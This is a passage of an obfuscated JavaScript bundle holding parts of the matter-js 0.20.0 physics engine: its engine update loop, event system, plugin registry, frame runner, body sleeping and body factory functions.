_0x5e9e99['collisions'](_0x242b22); _0x484773['update'](_0x36438b, _0x1a49c6, _0x3d531f), _0x1039f9['enableSleeping'] && _0xa538['afterCollisions'](_0x36438b['list']), _0x36438b['collisionStart']['length'] > 0x0 && _0x55eec6['trigger'](_0x1039f9, 'collisionStart', { 'pairs': _0x36438b['collisionStart'], 'timestamp': _0x5a6986['timestamp'], 'delta': _0x5efafd }); var _0x4bfa7b = _0x52da0a['clamp'](0x14 / _0x1039f9['positionIterations'], 0x0, 0x1); for (_0x51fac3['preSolvePosition'](_0x36438b['list']), _0x1169f2 = 0x0; _0x1169f2 < _0x1039f9['positionIterations']; _0x1169f2++)_0x51fac3['solvePosition'](_0x36438b['list'], _0x5efafd, _0x4bfa7b); for (_0x51fac3['postSolvePosition'](_0x90ee9), _0x79d33d['preSolveAll'](_0x90ee9), _0x1169f2 = 0x0; _0x1169f2 < _0x1039f9['constraintIterations']; _0x1169f2++)_0x79d33d['solveAll'](_0x54774e, _0x5efafd); for (_0x79d33d['postSolveAll'](_0x90ee9), _0x51fac3['preSolveVelocity'](_0x36438b['list']), _0x1169f2 = 0x0; _0x1169f2 < _0x1039f9['velocityIterations']; _0x1169f2++)_0x51fac3['solveVelocity'](_0x36438b['list'], _0x5efafd); return _0x4d3e0f['_bodiesUpdateVelocities'](_0x90ee9), _0x36438b['collisionActive']['length'] > 0x0 && _0x55eec6['trigger'](_0x1039f9, 'collisionActive', { 'pairs': _0x36438b['collisionActive'], 'timestamp': _0x5a6986['timestamp'], 'delta': _0x5efafd }), _0x36438b['collisionEnd']['length'] > 0x0 && _0x55eec6['trigger'](_0x1039f9, 'collisionEnd', { 'pairs': _0x36438b['collisionEnd'], 'timestamp': _0x5a6986['timestamp'], 'delta': _0x5efafd }), _0x4d3e0f['_bodiesClearForces'](_0x90ee9), _0x55eec6['trigger'](_0x1039f9, 'afterUpdate', _0x5881fd), _0x1039f9['timing']['lastElapsed'] = _0x52da0a['now']() - _0x1a498b, _0x1039f9; }, _0x4d3e0f['merge'] = function (_0x15a9d2, _0x312d6e) { if (_0x52da0a['extend'](_0x15a9d2, _0x312d6e), _0x312d6e['world']) { _0x15a9d2['world'] = _0x312d6e['world'], _0x4d3e0f['clear'](_0x15a9d2); for (var _0x38ffbf = _0x113c45['allBodies'](_0x15a9d2['world']), _0x103ee6 = 0x0; _0x103ee6 < _0x38ffbf['length']; _0x103ee6++) { var _0x350214 = _0x38ffbf[_0x103ee6]; _0xa538['set'](_0x350214, !0x1), _0x350214['id'] = _0x52da0a['nextId'](); } } }, _0x4d3e0f['clear'] = function (_0x134e43) { _0x484773['clear'](_0x134e43['pairs']), _0x5e9e99['clear'](_0x134e43['detector']); }, _0x4d3e0f['_bodiesClearForces'] = function (_0x19cdc6) { for (var _0x334e2a = _0x19cdc6['length'], _0x29ec88 = 0x0; _0x29ec88 < _0x334e2a; _0x29ec88++) { var _0x3f2d74 = _0x19cdc6[_0x29ec88]; _0x3f2d74['force']['x'] = 0x0, _0x3f2d74['force']['y'] = 0x0, _0x3f2d74['torque'] = 0x0; } }, _0x4d3e0f['_bodiesApplyGravity'] = function (_0x40c3a8, _0x46845d) { var _0x18843b = void 0x0 !== _0x46845d['scale'] ? _0x46845d['scale'] : 0.001, _0x1b3ccc = _0x40c3a8['length']; if ((0x0 !== _0x46845d['x'] || 0x0 !== _0x46845d['y']) && 0x0 !== _0x18843b) for (var _0x55525b = 0x0; _0x55525b < _0x1b3ccc; _0x55525b++) { var _0x47f33d = _0x40c3a8[_0x55525b]; _0x47f33d['ignoreGravity'] || _0x47f33d['isStatic'] || _0x47f33d['isSleeping'] || (_0x47f33d['force']['y'] += _0x47f33d['mass'] * _0x46845d['y'] * _0x18843b, _0x47f33d['force']['x'] += _0x47f33d['mass'] * _0x46845d['x'] * _0x18843b); } }, _0x4d3e0f['_bodiesUpdate'] = function (_0xfa5e19, _0x584dac) { for (var _0x46c26d = _0xfa5e19['length'], _0x6bd812 = 0x0; _0x6bd812 < _0x46c26d; _0x6bd812++) { var _0x40e4bf = _0xfa5e19[_0x6bd812]; _0x40e4bf['isStatic'] || _0x40e4bf['isSleeping'] || _0x47abb9['update'](_0x40e4bf, _0x584dac); } }, _0x4d3e0f['_bodiesUpdateVelocities'] = function (_0x45b54a) { for (var _0x534d62 = _0x45b54a['length'], _0x1cbd1e = 0x0; _0x1cbd1e < _0x534d62; _0x1cbd1e++)_0x47abb9['updateVelocities'](_0x45b54a[_0x1cbd1e]); }, _0x4d3e0f['wrap'] = function (_0x2720a5, _0x3a344b) { for (var _0x4a0149 = 0x0; _0x4a0149 < _0x2720a5['length']; _0x4a0149 += 0x1) { var _0x47c3ab = _0x2720a5[_0x4a0149]; null !== _0x47c3ab['wrapBounds'] && _0x47abb9['wrap'](_0x47c3ab, _0x47c3ab['wrapBounds']); } for (_0x4a0149 = 0x0; _0x4a0149 < _0x3a344b['length']; _0x4a0149 += 0x1) { var _0x310c88 = _0x3a344b[_0x4a0149]; null !== _0x310c88['wrapBounds'] && _0x113c45['wrap'](_0x310c88, _0x310c88['wrapBounds']); } }, _0x4d3e0f['attractors'] = function (_0x4df605) { for (var _0x3c56eb = 0x0; _0x3c56eb < _0x4df605['length']; _0x3c56eb++) { var _0x3cf0ba = _0x4df605[_0x3c56eb], _0x1e3c10 = _0x3cf0ba['attractors']; if (_0x1e3c10 && _0x1e3c10['length'] > 0x0) for (var _0x1e7ed2 = 0x0; _0x1e7ed2 < _0x4df605['length']; _0x1e7ed2++) { var _0x356f87 = _0x4df605[_0x1e7ed2]; if (_0x3c56eb !== _0x1e7ed2) for (var _0x57edb1 = 0x0; _0x57edb1 < _0x1e3c10['length']; _0x57edb1++) { var _0x403c05 = _0x1e3c10[_0x57edb1], _0x34bd30 = _0x403c05; _0x52da0a['isFunction'](_0x403c05) && (_0x34bd30 = _0x403c05(_0x3cf0ba, _0x356f87)), _0x34bd30 && _0x47abb9['applyForce'](_0x356f87, _0x356f87['position'], _0x34bd30); } } } }; }, 0x8be2: (_0x1758dd, _0x4fdce9, _0x4b8160) => { var _0x3e4fcb = {}; _0x1758dd['exports'] = _0x3e4fcb; var _0x16f6cf = _0x4b8160(0xd09a); _0x3e4fcb['on'] = function (_0x465a03, _0x556259, _0x560468) { for (var _0x4136d0, _0x31c3d5 = _0x556259['split']('\x20'), _0x428458 = 0x0; _0x428458 < _0x31c3d5['length']; _0x428458++)_0x4136d0 = _0x31c3d5[_0x428458], _0x465a03['events'] = _0x465a03['events'] || {}, _0x465a03['events'][_0x4136d0] = _0x465a03['events'][_0x4136d0] || [], _0x465a03['events'][_0x4136d0]['push'](_0x560468); return _0x560468; }, _0x3e4fcb['off'] = function (_0x39d552, _0x443f34, _0x27bcd3) { if (_0x443f34) { 'function' == typeof _0x443f34 && (_0x27bcd3 = _0x443f34, _0x443f34 = _0x16f6cf['keys'](_0x39d552['events'])['join']('\x20')); for (var _0x58521d = _0x443f34['split']('\x20'), _0x3c040f = 0x0; _0x3c040f < _0x58521d['length']; _0x3c040f++) { var _0x3a648c = _0x39d552['events'][_0x58521d[_0x3c040f]], _0x55a3a5 = []; if (_0x27bcd3 && _0x3a648c) { for (var _0x1ed9ff = 0x0; _0x1ed9ff < _0x3a648c['length']; _0x1ed9ff++)_0x3a648c[_0x1ed9ff] !== _0x27bcd3 && _0x55a3a5['push'](_0x3a648c[_0x1ed9ff]); } _0x39d552['events'][_0x58521d[_0x3c040f]] = _0x55a3a5; } } else _0x39d552['events'] = {}; }, _0x3e4fcb['trigger'] = function (_0x4c50b6, _0x2132dc, _0x48ba21) { var _0x172bba, _0x9a866a, _0x1d55fe, _0x4cc22d, _0x4da367 = _0x4c50b6['events']; if (_0x4da367 && _0x16f6cf['keys'](_0x4da367)['length'] > 0x0) { _0x48ba21 || (_0x48ba21 = {}), _0x172bba = _0x2132dc['split']('\x20'); for (var _0x31180f = 0x0; _0x31180f < _0x172bba['length']; _0x31180f++)if (_0x1d55fe = _0x4da367[_0x9a866a = _0x172bba[_0x31180f]]) { (_0x4cc22d = _0x16f6cf['clone'](_0x48ba21, !0x1))['name'] = _0x9a866a, _0x4cc22d['source'] = _0x4c50b6; for (var _0x532019 = 0x0; _0x532019 < _0x1d55fe['length']; _0x532019++)_0x1d55fe[_0x532019]['apply'](_0x4c50b6, [_0x4cc22d]); } } }; }, 0x1a86: (_0x3d88fb, _0x40cdac, _0x41c670) => { var _0x1e9285 = {}; _0x3d88fb['exports'] = _0x1e9285; var _0x3d8a91 = _0x41c670(0x12068), _0x739dc4 = _0x41c670(0xd09a); _0x1e9285['name'] = 'matter-js', _0x1e9285['version'] = '0.20.0', _0x1e9285['uses'] = [], _0x1e9285['used'] = [], _0x1e9285['use'] = function () { _0x3d8a91['use'](_0x1e9285, Array['prototype']['slice']['call'](arguments)); }, _0x1e9285['before'] = function (_0x2e687d, _0x2805f1) { return _0x2e687d = _0x2e687d['replace'](/^Matter./, ''), _0x739dc4['chainPathBefore'](_0x1e9285, _0x2e687d, _0x2805f1); }, _0x1e9285['after'] = function (_0x609742, _0xa20c94) { return _0x609742 = _0x609742['replace'](/^Matter./, ''), _0x739dc4['chainPathAfter'](_0x1e9285, _0x609742, _0xa20c94); }; }, 0x12068: (_0x1a224a, _0x30becc, _0x541315) => { var _0x21b7cb = {}; _0x1a224a['exports'] = _0x21b7cb; var _0x59d301 = _0x541315(0xd09a); _0x21b7cb['_registry'] = {}, _0x21b7cb['register'] = function (_0x50271f) { if (_0x21b7cb['isPlugin'](_0x50271f) || _0x59d301['warn']('Plugin.register:', _0x21b7cb['toString'](_0x50271f), 'does\x20not\x20implement\x20all\x20required\x20fields.'), _0x50271f['name'] in _0x21b7cb['_registry']) { var _0x305963 = _0x21b7cb['_registry'][_0x50271f['name']], _0x8e53d = _0x21b7cb['versionParse'](_0x50271f['version'])['number'], _0x3c3a4f = _0x21b7cb['versionParse'](_0x305963['version'])['number']; _0x8e53d > _0x3c3a4f ? (_0x59d301['warn']('Plugin.register:', _0x21b7cb['toString'](_0x305963), 'was\x20upgraded\x20to', _0x21b7cb['toString'](_0x50271f)), _0x21b7cb['_registry'][_0x50271f['name']] = _0x50271f) : _0x8e53d < _0x3c3a4f ? _0x59d301['warn']('Plugin.register:', _0x21b7cb['toString'](_0x305963), 'can\x20not\x20be\x20downgraded\x20to', _0x21b7cb['toString'](_0x50271f)) : _0x50271f !== _0x305963 && _0x59d301['warn']('Plugin.register:', _0x21b7cb['toString'](_0x50271f), 'is\x20already\x20registered\x20to\x20different\x20plugin\x20object'); } else _0x21b7cb['_registry'][_0x50271f['name']] = _0x50271f; return _0x50271f; }, _0x21b7cb['resolve'] = function (_0x244179) { return _0x21b7cb['_registry'][_0x21b7cb['dependencyParse'](_0x244179)['name']]; }, _0x21b7cb['toString'] = function (_0x56af1d) { return 'string' == typeof _0x56af1d ? _0x56af1d : (_0x56af1d['name'] || 'anonymous') + '@' + (_0x56af1d['version'] || _0x56af1d['range'] || '0.0.0'); }, _0x21b7cb['isPlugin'] = function (_0x2d1c9f) { return _0x2d1c9f && _0x2d1c9f['name'] && _0x2d1c9f['version'] && _0x2d1c9f['install']; }, _0x21b7cb['isUsed'] = function (_0x2a4bd5, _0x34eccf) { return _0x2a4bd5['used']['indexOf'](_0x34eccf) > -0x1; }, _0x21b7cb['isFor'] = function (_0x4949ff, _0x3179bc) { var _0xd4e838 = _0x4949ff['for'] && _0x21b7cb['dependencyParse'](_0x4949ff['for']); return !_0x4949ff['for'] || _0x3179bc['name'] === _0xd4e838['name'] && _0x21b7cb['versionSatisfies'](_0x3179bc['version'], _0xd4e838['range']); }, _0x21b7cb['use'] = function (_0x242ad7, _0x17bbae) { if (_0x242ad7['uses'] = (_0x242ad7['uses'] || [])['concat'](_0x17bbae || []), 0x0 !== _0x242ad7['uses']['length']) { for (var _0x2d3ea3 = _0x21b7cb['dependencies'](_0x242ad7), _0x481d18 = _0x59d301['topologicalSort'](_0x2d3ea3), _0xc3ac22 = [], _0xbe21d4 = 0x0; _0xbe21d4 < _0x481d18['length']; _0xbe21d4 += 0x1)if (_0x481d18[_0xbe21d4] !== _0x242ad7['name']) { var _0x8a5840 = _0x21b7cb['resolve'](_0x481d18[_0xbe21d4]); _0x8a5840 ? _0x21b7cb['isUsed'](_0x242ad7, _0x8a5840['name']) || (_0x21b7cb['isFor'](_0x8a5840, _0x242ad7) || (_0x59d301['warn']('Plugin.use:', _0x21b7cb['toString'](_0x8a5840), 'is\x20for', _0x8a5840['for'], 'but\x20installed\x20on', _0x21b7cb['toString'](_0x242ad7) + '.'), _0x8a5840['_warned'] = !0x0), _0x8a5840['install'] ? _0x8a5840['install'](_0x242ad7) : (_0x59d301['warn']('Plugin.use:', _0x21b7cb['toString'](_0x8a5840), 'does\x20not\x20specify\x20an\x20install\x20function.'), _0x8a5840['_warned'] = !0x0), _0x8a5840['_warned'] ? (_0xc3ac22['push']('🔶\x20' + _0x21b7cb['toString'](_0x8a5840)), delete _0x8a5840['_warned']) : _0xc3ac22['push']('✅\x20' + _0x21b7cb['toString'](_0x8a5840)), _0x242ad7['used']['push'](_0x8a5840['name'])) : _0xc3ac22['push']('❌\x20' + _0x481d18[_0xbe21d4]); } _0xc3ac22['length'] > 0x0 && !_0x8a5840['silent'] && _0x59d301['info'](_0xc3ac22['join']('\x20\x20')); } else _0x59d301['warn']('Plugin.use:', _0x21b7cb['toString'](_0x242ad7), 'does\x20not\x20specify\x20any\x20dependencies\x20to\x20install.'); }, _0x21b7cb['dependencies'] = function (_0x299fd2, _0x100d6c) { var _0x1df4be = _0x21b7cb['dependencyParse'](_0x299fd2), _0x19087f = _0x1df4be['name']; if (!(_0x19087f in (_0x100d6c = _0x100d6c || {}))) { _0x299fd2 = _0x21b7cb['resolve'](_0x299fd2) || _0x299fd2, _0x100d6c[_0x19087f] = _0x59d301['map'](_0x299fd2['uses'] || [], function (_0x4e071c) { _0x21b7cb['isPlugin'](_0x4e071c) && _0x21b7cb['register'](_0x4e071c); var _0x2c28a2 = _0x21b7cb['dependencyParse'](_0x4e071c), _0x1ca3d0 = _0x21b7cb['resolve'](_0x4e071c); return _0x1ca3d0 && !_0x21b7cb['versionSatisfies'](_0x1ca3d0['version'], _0x2c28a2['range']) ? (_0x59d301['warn']('Plugin.dependencies:', _0x21b7cb['toString'](_0x1ca3d0), 'does\x20not\x20satisfy', _0x21b7cb['toString'](_0x2c28a2), 'used\x20by', _0x21b7cb['toString'](_0x1df4be) + '.'), _0x1ca3d0['_warned'] = !0x0, _0x299fd2['_warned'] = !0x0) : _0x1ca3d0 || (_0x59d301['warn']('Plugin.dependencies:', _0x21b7cb['toString'](_0x4e071c), 'used\x20by', _0x21b7cb['toString'](_0x1df4be), 'could\x20not\x20be\x20resolved.'), _0x299fd2['_warned'] = !0x0), _0x2c28a2['name']; }); for (var _0x430e5c = 0x0; _0x430e5c < _0x100d6c[_0x19087f]['length']; _0x430e5c += 0x1)_0x21b7cb['dependencies'](_0x100d6c[_0x19087f][_0x430e5c], _0x100d6c); return _0x100d6c; } }, _0x21b7cb['dependencyParse'] = function (_0x1b5baf) { return _0x59d301['isString'](_0x1b5baf) ? (/^[\w-]+(@(\*|[\^~]?\d+\.\d+\.\d+(-[0-9A-Za-z-+]+)?))?$/['test'](_0x1b5baf) || _0x59d301['warn']('Plugin.dependencyParse:', _0x1b5baf, 'is\x20not\x20a\x20valid\x20dependency\x20string.'), { 'name': _0x1b5baf['split']('@')[0x0], 'range': _0x1b5baf['split']('@')[0x1] || '*' }) : { 'name': _0x1b5baf['name'], 'range': _0x1b5baf['range'] || _0x1b5baf['version'] }; }, _0x21b7cb['versionParse'] = function (_0xfccc5) { var _0x57e73a = /^(\*)|(\^|~|>=|>)?\s*((\d+)\.(\d+)\.(\d+))(-[0-9A-Za-z-+]+)?$/; _0x57e73a['test'](_0xfccc5) || _0x59d301['warn']('Plugin.versionParse:', _0xfccc5, 'is\x20not\x20a\x20valid\x20version\x20or\x20range.'); var _0x5eef16 = _0x57e73a['exec'](_0xfccc5), _0x1fa5e6 = Number(_0x5eef16[0x4]), _0x21b20a = Number(_0x5eef16[0x5]), _0xbf1af2 = Number(_0x5eef16[0x6]); return { 'isRange': Boolean(_0x5eef16[0x1] || _0x5eef16[0x2]), 'version': _0x5eef16[0x3], 'range': _0xfccc5, 'operator': _0x5eef16[0x1] || _0x5eef16[0x2] || '', 'major': _0x1fa5e6, 'minor': _0x21b20a, 'patch': _0xbf1af2, 'parts': [_0x1fa5e6, _0x21b20a, _0xbf1af2], 'prerelease': _0x5eef16[0x7], 'number': 0x5f5e100 * _0x1fa5e6 + 0x2710 * _0x21b20a + _0xbf1af2 }; }, _0x21b7cb['versionSatisfies'] = function (_0x7e9dd3, _0x539ca8) { _0x539ca8 = _0x539ca8 || '*'; var _0x45c6cd = _0x21b7cb['versionParse'](_0x539ca8), _0x779246 = _0x21b7cb['versionParse'](_0x7e9dd3); if (_0x45c6cd['isRange']) { if ('*' === _0x45c6cd['operator'] || '*' === _0x7e9dd3) return !0x0; if ('>' === _0x45c6cd['operator']) return _0x779246['number'] > _0x45c6cd['number']; if ('>=' === _0x45c6cd['operator']) return _0x779246['number'] >= _0x45c6cd['number']; if ('~' === _0x45c6cd['operator']) return _0x779246['major'] === _0x45c6cd['major'] && _0x779246['minor'] === _0x45c6cd['minor'] && _0x779246['patch'] >= _0x45c6cd['patch']; if ('^' === _0x45c6cd['operator']) return _0x45c6cd['major'] > 0x0 ? _0x779246['major'] === _0x45c6cd['major'] && _0x779246['number'] >= _0x45c6cd['number'] : _0x45c6cd['minor'] > 0x0 ? _0x779246['minor'] === _0x45c6cd['minor'] && _0x779246['patch'] >= _0x45c6cd['patch'] : _0x779246['patch'] === _0x45c6cd['patch']; } return _0x7e9dd3 === _0x539ca8 || '*' === _0x7e9dd3; }; }, 0x32ed: (_0x563b15, _0x30e4cd, _0x4915e4) => { var _0xf961cf = {}; _0x563b15['exports'] = _0xf961cf; var _0x26764f = _0x4915e4(0x8be2), _0x5f25bc = _0x4915e4(0xbd1d), _0x4667da = _0x4915e4(0xd09a); !(function () { _0xf961cf['_maxFrameDelta'] = 0x3e8 / 0xf, _0xf961cf['_frameDeltaFallback'] = 0x3e8 / 0x3c, _0xf961cf['_timeBufferMargin'] = 1.5, _0xf961cf['_elapsedNextEstimate'] = 0x1, _0xf961cf['_smoothingLowerBound'] = 0.1, _0xf961cf['_smoothingUpperBound'] = 0.9, _0xf961cf['create'] = function (_0x3417a7) { var _0x22ad27 = _0x4667da['extend']({ 'delta': 0x3e8 / 0x3c, 'frameDelta': null, 'frameDeltaSmoothing': !0x0, 'frameDeltaSnapping': !0x0, 'frameDeltaHistory': [], 'frameDeltaHistorySize': 0x64, 'frameRequestId': null, 'timeBuffer': 0x0, 'timeLastTick': null, 'maxUpdates': null, 'maxFrameTime': 0x3e8 / 0x1e, 'lastUpdatesDeferred': 0x0, 'enabled': !0x0 }, _0x3417a7); return _0x22ad27['fps'] = 0x0, _0x22ad27; }, _0xf961cf['run'] = function (_0x40f7f4, _0x4f52bd) { return _0x40f7f4['timeBuffer'] = _0xf961cf['_frameDeltaFallback'], function _0x43b9ba(_0xaa7d35) { _0x40f7f4['frameRequestId'] = _0xf961cf['_onNextFrame'](_0x40f7f4, _0x43b9ba), _0xaa7d35 && _0x40f7f4['enabled'] && _0xf961cf['tick'](_0x40f7f4, _0x4f52bd, _0xaa7d35); }(), _0x40f7f4; }, _0xf961cf['tick'] = function (_0x289ea2, _0x31b0ae, _0x24c31c) { var _0x53f05d = _0x4667da['now'](), _0x279f36 = _0x289ea2['delta'], _0x1dee87 = 0x0, _0x44089f = _0x24c31c - _0x289ea2['timeLastTick']; if ((!_0x44089f || !_0x289ea2['timeLastTick'] || _0x44089f > Math['max'](_0xf961cf['_maxFrameDelta'], _0x289ea2['maxFrameTime'])) && (_0x44089f = _0x289ea2['frameDelta'] || _0xf961cf['_frameDeltaFallback']), _0x289ea2['frameDeltaSmoothing']) { _0x289ea2['frameDeltaHistory']['push'](_0x44089f), _0x289ea2['frameDeltaHistory'] = _0x289ea2['frameDeltaHistory']['slice'](-_0x289ea2['frameDeltaHistorySize']); var _0x11f264 = _0x289ea2['frameDeltaHistory']['slice'](0x0)['sort'](), _0x37de2e = _0x289ea2['frameDeltaHistory']['slice'](_0x11f264['length'] * _0xf961cf['_smoothingLowerBound'], _0x11f264['length'] * _0xf961cf['_smoothingUpperBound']); _0x44089f = _0x17faf9(_0x37de2e) || _0x44089f; } _0x289ea2['frameDeltaSnapping'] && (_0x44089f = 0x3e8 / Math['round'](0x3e8 / _0x44089f)), _0x289ea2['frameDelta'] = _0x44089f, _0x289ea2['timeLastTick'] = _0x24c31c, _0x289ea2['timeBuffer'] += _0x289ea2['frameDelta'], _0x289ea2['timeBuffer'] = _0x4667da['clamp'](_0x289ea2['timeBuffer'], 0x0, _0x289ea2['frameDelta'] + _0x279f36 * _0xf961cf['_timeBufferMargin']), _0x289ea2['lastUpdatesDeferred'] = 0x0; var _0x48c99c = _0x289ea2['maxUpdates'] || Math['ceil'](_0x289ea2['maxFrameTime'] / _0x279f36), _0x344f9d = { 'timestamp': _0x31b0ae['timing']['timestamp'] }; _0x26764f['trigger'](_0x289ea2, 'beforeTick', _0x344f9d), _0x26764f['trigger'](_0x289ea2, 'tick', _0x344f9d); for (var _0x3e94eb = _0x4667da['now'](); _0x279f36 > 0x0 && _0x289ea2['timeBuffer'] >= _0x279f36 * _0xf961cf['_timeBufferMargin'];) { _0x26764f['trigger'](_0x289ea2, 'beforeUpdate', _0x344f9d), _0x5f25bc['update'](_0x31b0ae, _0x279f36), _0x26764f['trigger'](_0x289ea2, 'afterUpdate', _0x344f9d), _0x289ea2['timeBuffer'] -= _0x279f36, _0x1dee87 += 0x1; var _0x1861af = _0x4667da['now']() - _0x53f05d, _0x11f0d5 = _0x4667da['now']() - _0x3e94eb, _0x2c4043 = _0x1861af + _0xf961cf['_elapsedNextEstimate'] * _0x11f0d5 / _0x1dee87; if (_0x1dee87 >= _0x48c99c || _0x2c4043 > _0x289ea2['maxFrameTime']) { _0x289ea2['lastUpdatesDeferred'] = Math['round'](Math['max'](0x0, _0x289ea2['timeBuffer'] / _0x279f36 - _0xf961cf['_timeBufferMargin'])); break; } } _0x31b0ae['timing']['lastUpdatesPerFrame'] = _0x1dee87, _0x26764f['trigger'](_0x289ea2, 'afterTick', _0x344f9d), _0x289ea2['frameDeltaHistory']['length'] >= 0x64 && (_0x289ea2['lastUpdatesDeferred'] && Math['round'](_0x289ea2['frameDelta'] / _0x279f36) > _0x48c99c ? _0x4667da['warnOnce']('Matter.Runner:\x20runner\x20reached\x20runner.maxUpdates,\x20see\x20docs.') : _0x289ea2['lastUpdatesDeferred'] && _0x4667da['warnOnce']('Matter.Runner:\x20runner\x20reached\x20runner.maxFrameTime,\x20see\x20docs.'), void 0x0 !== _0x289ea2['isFixed'] && _0x4667da['warnOnce']('Matter.Runner:\x20runner.isFixed\x20is\x20now\x20redundant,\x20see\x20docs.'), (_0x289ea2['deltaMin'] || _0x289ea2['deltaMax']) && _0x4667da['warnOnce']('Matter.Runner:\x20runner.deltaMin\x20and\x20runner.deltaMax\x20were\x20removed,\x20see\x20docs.'), 0x0 !== _0x289ea2['fps'] && _0x4667da['warnOnce']('Matter.Runner:\x20runner.fps\x20was\x20replaced\x20by\x20runner.delta,\x20see\x20docs.')); }, _0xf961cf['stop'] = function (_0x5c0e34) { _0xf961cf['_cancelNextFrame'](_0x5c0e34); }, _0xf961cf['_onNextFrame'] = function (_0x393b23, _0x170133) { if ('undefined' == typeof window || !window['requestAnimationFrame']) throw new Error('Matter.Runner:\x20missing\x20required\x20global\x20window.requestAnimationFrame.'); return _0x393b23['frameRequestId'] = window['requestAnimationFrame'](_0x170133), _0x393b23['frameRequestId']; }, _0xf961cf['_cancelNextFrame'] = function (_0x498783) { if ('undefined' == typeof window || !window['cancelAnimationFrame']) throw new Error('Matter.Runner:\x20missing\x20required\x20global\x20window.cancelAnimationFrame.'); window['cancelAnimationFrame'](_0x498783['frameRequestId']); }; var _0x17faf9 = function (_0x2ecfff) { for (var _0x5dffa3 = 0x0, _0x58d14d = _0x2ecfff['length'], _0x1158ab = 0x0; _0x1158ab < _0x58d14d; _0x1158ab += 0x1)_0x5dffa3 += _0x2ecfff[_0x1158ab]; return _0x5dffa3 / _0x58d14d || 0x0; }; }()); }, 0xd16e: (_0x1efc29, _0x509028, _0x47512c) => { var _0x4dc91d = {}; _0x1efc29['exports'] = _0x4dc91d; var _0x33bf39 = _0x47512c(0x5822), _0x43eca3 = _0x47512c(0x8be2), _0x35ae5e = _0x47512c(0xd09a); _0x4dc91d['_motionWakeThreshold'] = 0.18, _0x4dc91d['_motionSleepThreshold'] = 0.08, _0x4dc91d['_minBias'] = 0.9, _0x4dc91d['update'] = function (_0x37da39, _0x2e774f) { for (var _0x367ca2 = _0x2e774f / _0x35ae5e['_baseDelta'], _0x2392da = _0x4dc91d['_motionSleepThreshold'], _0x462bc9 = 0x0; _0x462bc9 < _0x37da39['length']; _0x462bc9++) { var _0x5712b8 = _0x37da39[_0x462bc9], _0x3f7e18 = _0x33bf39['getSpeed'](_0x5712b8), _0x303174 = _0x33bf39['getAngularSpeed'](_0x5712b8), _0x1135c5 = _0x3f7e18 * _0x3f7e18 + _0x303174 * _0x303174; if (0x0 === _0x5712b8['force']['x'] && 0x0 === _0x5712b8['force']['y']) { var _0x3be5e9 = Math['min'](_0x5712b8['motion'], _0x1135c5), _0x469999 = Math['max'](_0x5712b8['motion'], _0x1135c5); _0x5712b8['motion'] = _0x4dc91d['_minBias'] * _0x3be5e9 + (0x1 - _0x4dc91d['_minBias']) * _0x469999, _0x5712b8['sleepThreshold'] > 0x0 && _0x5712b8['motion'] < _0x2392da ? (_0x5712b8['sleepCounter'] += 0x1, _0x5712b8['sleepCounter'] >= _0x5712b8['sleepThreshold'] / _0x367ca2 && _0x4dc91d['set'](_0x5712b8, !0x0)) : _0x5712b8['sleepCounter'] > 0x0 && (_0x5712b8['sleepCounter'] -= 0x1); } else _0x4dc91d['set'](_0x5712b8, !0x1); } }, _0x4dc91d['afterCollisions'] = function (_0x11fecd) { for (var _0x2a778f = _0x4dc91d['_motionSleepThreshold'], _0x525957 = 0x0; _0x525957 < _0x11fecd['length']; _0x525957++) { var _0x399782 = _0x11fecd[_0x525957]; if (_0x399782['isActive']) { var _0x16a48e = _0x399782['collision'], _0x153193 = _0x16a48e['bodyA']['parent'], _0xf23d95 = _0x16a48e['bodyB']['parent']; if (!(_0x153193['isSleeping'] && _0xf23d95['isSleeping'] || _0x153193['isStatic'] || _0xf23d95['isStatic']) && (_0x153193['isSleeping'] || _0xf23d95['isSleeping'])) { var _0x1be4fb = _0x153193['isSleeping'] && !_0x153193['isStatic'] ? _0x153193 : _0xf23d95, _0x18b63c = _0x1be4fb === _0x153193 ? _0xf23d95 : _0x153193; !_0x1be4fb['isStatic'] && _0x18b63c['motion'] > _0x2a778f && _0x4dc91d['set'](_0x1be4fb, !0x1); } } } }, _0x4dc91d['set'] = function (_0x1e6ed0, _0x3a8a66) { var _0x5237d7 = _0x1e6ed0['isSleeping']; _0x3a8a66 ? (_0x1e6ed0['isSleeping'] = !0x0, _0x1e6ed0['sleepCounter'] = _0x1e6ed0['sleepThreshold'], _0x1e6ed0['positionImpulse']['x'] = 0x0, _0x1e6ed0['positionImpulse']['y'] = 0x0, _0x1e6ed0['positionPrev']['x'] = _0x1e6ed0['position']['x'], _0x1e6ed0['positionPrev']['y'] = _0x1e6ed0['position']['y'], _0x1e6ed0['anglePrev'] = _0x1e6ed0['angle'], _0x1e6ed0['speed'] = 0x0, _0x1e6ed0['angularSpeed'] = 0x0, _0x1e6ed0['motion'] = 0x0, _0x5237d7 || _0x43eca3['trigger'](_0x1e6ed0, 'sleepStart')) : (_0x1e6ed0['isSleeping'] = !0x1, _0x1e6ed0['sleepCounter'] = 0x0, _0x5237d7 && _0x43eca3['trigger'](_0x1e6ed0, 'sleepEnd')); }; }, 0x102e8: (_0x2bfb8e, _0x548d23, _0x1ba07d) => { var _0x137352 = {}; _0x2bfb8e['exports'] = _0x137352; var _0xb278bc = _0x1ba07d(0xa27e), _0x3e1462 = _0x1ba07d(0xd09a), _0x5483ed = _0x1ba07d(0x5822), _0x3b4544 = _0x1ba07d(0x3d1f), _0x5103d2 = _0x1ba07d(0x7bed); _0x137352['rectangle'] = function (_0x529b6e, _0xf58604, _0x2c0b2c, _0x4076b9, _0x280d40) { _0x280d40 = _0x280d40 || {}; var _0x420e64 = { 'label': 'Rectangle\x20Body', 'position': { 'x': _0x529b6e, 'y': _0xf58604 }, 'vertices': _0xb278bc['fromPath']('L\x200\x200\x20L\x20' + _0x2c0b2c + '\x200\x20L\x20' + _0x2c0b2c + '\x20' + _0x4076b9 + '\x20L\x200\x20' + _0x4076b9) }; if (_0x280d40['chamfer']) { var _0x4b1f02 = _0x280d40['chamfer']; _0x420e64['vertices'] = _0xb278bc['chamfer'](_0x420e64['vertices'], _0x4b1f02['radius'], _0x4b1f02['quality'], _0x4b1f02['qualityMin'], _0x4b1f02['qualityMax']), delete _0x280d40['chamfer']; } return _0x5483ed['create'](_0x3e1462['extend']({}, _0x420e64, _0x280d40)); }, _0x137352['trapezoid'] = function (_0x3f8792, _0xa111b1, _0x39617b, _0x1cb012, _0x3dc84f, _0x55563a) { _0x55563a = _0x55563a || {}, _0x3dc84f >= 0x1 && _0x3e1462['warn']('Bodies.trapezoid:\x20slope\x20parameter\x20must\x20be\x20<\x201.'); var _0x112c0f, _0x1300e4 = _0x39617b * (_0x3dc84f *= 0.5), _0x4c004f = _0x1300e4 